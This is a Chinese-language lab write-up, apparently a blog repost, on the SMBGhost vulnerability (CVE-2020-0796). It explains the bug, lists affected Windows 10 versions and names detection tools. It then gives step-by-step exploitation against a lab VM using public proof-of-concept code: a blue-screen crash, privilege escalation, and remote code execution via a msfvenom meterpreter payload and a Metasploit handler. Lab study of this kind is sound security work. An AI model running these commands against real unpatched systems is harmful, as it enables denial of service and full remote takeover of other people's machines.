zoukankan      html  css  js  c++  java
  • CVE-2020-0796 SMBv3 RCE漏洞检测+复现

    CVE-2020-0796 SMBv3 RCE漏洞检测+复现


    漏洞简介

    2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,恶意伪造的压缩数据包 时出现的错误引发的,从而造成SMB服务器的缓冲区溢出,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

    概述

    SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

    原理

    漏洞存在于在srv2.sys驱动中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候调用函数Srv2DecompressData处理压缩数据时候,对压缩数据头部压缩数据大小OriginalCompressedSegmentSize和其偏移Offset的没有检查其是否合法,导致其相加可分配较小的内存,后面调用SmbCompressionDecompress进行数据处理时候使用这片较小的内存可导致拷贝溢出或越界访问,而在执行本地程序的时候,可通过获取当前本地程序的token+0x40的偏移地址,通过发送压缩数据给SMB服务器,之后此偏移地址在解压缩数据时候拷贝的内核内存中,通过精心构造的内存布局在内核中修改token将权限提升。

    影响范围

    漏洞不影响 win7,漏洞影响 Windows 10 1903 之后的各个 32 位、64 位版 Windows,包括家用版、专业版、企业版、教育版。
    Windows 10 Version 1903 for 32-bit
    Windows 10 Version 1903 for x64
    Windows 10 Version 1903 for arm64
    Windows 10 Version 1909 for 32-bit
    Windows 10 Version 1909 for x64
    Windows 10 Version 1909 for arm64
    Windows Server 10 Version 1903 for server core installation
    Windows Server 10 Version 1909 for server core installation

    环境准备

    环境搭建

    攻击机:Kali Linux
    IP:192.168.219.135
    可以 ping 通 win10 虚拟机
    靶 机:Windows 10 虚拟机 1909 x64 (专业版)
    IP:192.168.219.142
    关闭防火墙和 defender
    1903 或者 1909 版本均可,我这里用的是1909版本

    宿主机:Windows 7

    环境要求

    首先确认系统版本符合要求

    使用systeminfo确定下主机有没有打过这个补丁KB4551762

    关闭防火墙和 defender

    漏洞检测

    git脚本检测

    https://github.com/ollypwn/SMBGhost

    检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。

    PS:脚本适用python3,宿主机电脑中只有python2,稍微修改一下print即可

    奇信安检测工具

    http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

    适用于局域网批量检测,快速查找未打补丁的机器。

    腾讯电脑管家SMB漏洞修复工具

    http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe

    适用于个人用户检测,一键快速检测和修复。

    漏洞利用

    蓝屏演示

    蓝屏攻击POC:

    https://github.com/eerykitty/CVE-2020-0796-PoC

    git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
    python3 setup.py install
    python3 CVE-2020-0796.py 192.168.219.142
    

    安装脚本和依赖库

    依赖库安装成功后执行蓝屏攻击脚本

    攻击成功结果如下

    提权演示

    本地提权POC:

    https://github.com/danigargu/CVE-2020-0796

    文件编译结果执行文件有两个,一个动态的,一个静态的,动态的需要另外安装相关dll文件,我们直接执行静态提权程序,成功弹出更高的system权限命令执行窗口

    REC演示

    远程利用POC:

    https://github.com/chompie1337/SMBGhost_RCE_PoC

    1. Kali下载POC
    root@kali:~/cve# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC
    root@kali:~/cve# cd SMBGhost_RCE_PoC
    root@kali:~/cve/SMBGhost_RCE_PoC# ls
    

    PS:该POC需要用python3环境执行

    1. 使用msfvenom生成payload,生成TXT文件便于后面修改
    root@kali:~/cve/SMBGhost_RCE_PoC# msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o 1.txt
    

    1. 将1.txt 生成的code中参数buf改为USER_PAYLOAD,然后替换到exploit.py中的USER_PAYLOAD参数。(顺序不要颠倒,否则执行会失败的,因为你在py全文替换buf的话,不小心会把代码中的全部的buf替换的)

    这里不要忘记字符串前面的二进制格式换b""不然脚本执行错误

    1. 新建一个终端,启动msf监听本地端口
    root@kali:~# msfconsole
    
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
    payload => windows/x64/meterpreter/bind_tcp
    msf5 exploit(multi/handler) > set lport 1234
    lport => 1234
    msf5 exploit(multi/handler) > set rhost 192.168.219.142
    rhost => 192.168.219.142
    msf5 exploit(multi/handler) > exploit
    

    1. 运行exploit.py

    python3 exploit.py -ip 192.168.219.142

    一开始没反应,试了好几次,最后成功反弹shell(大家尝试的时候多试几次,看网上其他大佬说很容易蓝屏,蓝屏没有遇到,只是前几次每次执行后没反应,然后发现win10卡死了,ping不通,重启靶机即可)

    参考

    CVE-2020-0796 检测及利用工具

  • 相关阅读:
    Js获取当前日期时间及其它操作
    OpenResty
    Nginx开发从入门到精通
    TengineWeb服务器项目
    VS2012的SVN插件VISUALSVN
    VS项目如何运用svn的忽略列表
    SVN 中trunk、branches、tags都什么意思?
    SVN服务器搭建和使用(一)
    逗号分隔字符串转换为一张表--解决查询in(逗号分隔字符串)出错问题
    判断函数是否存在、判断函数是否存在并执行
  • 原文地址:https://www.cnblogs.com/liliyuanshangcao/p/13080912.html
Copyright © 2011-2022 走看看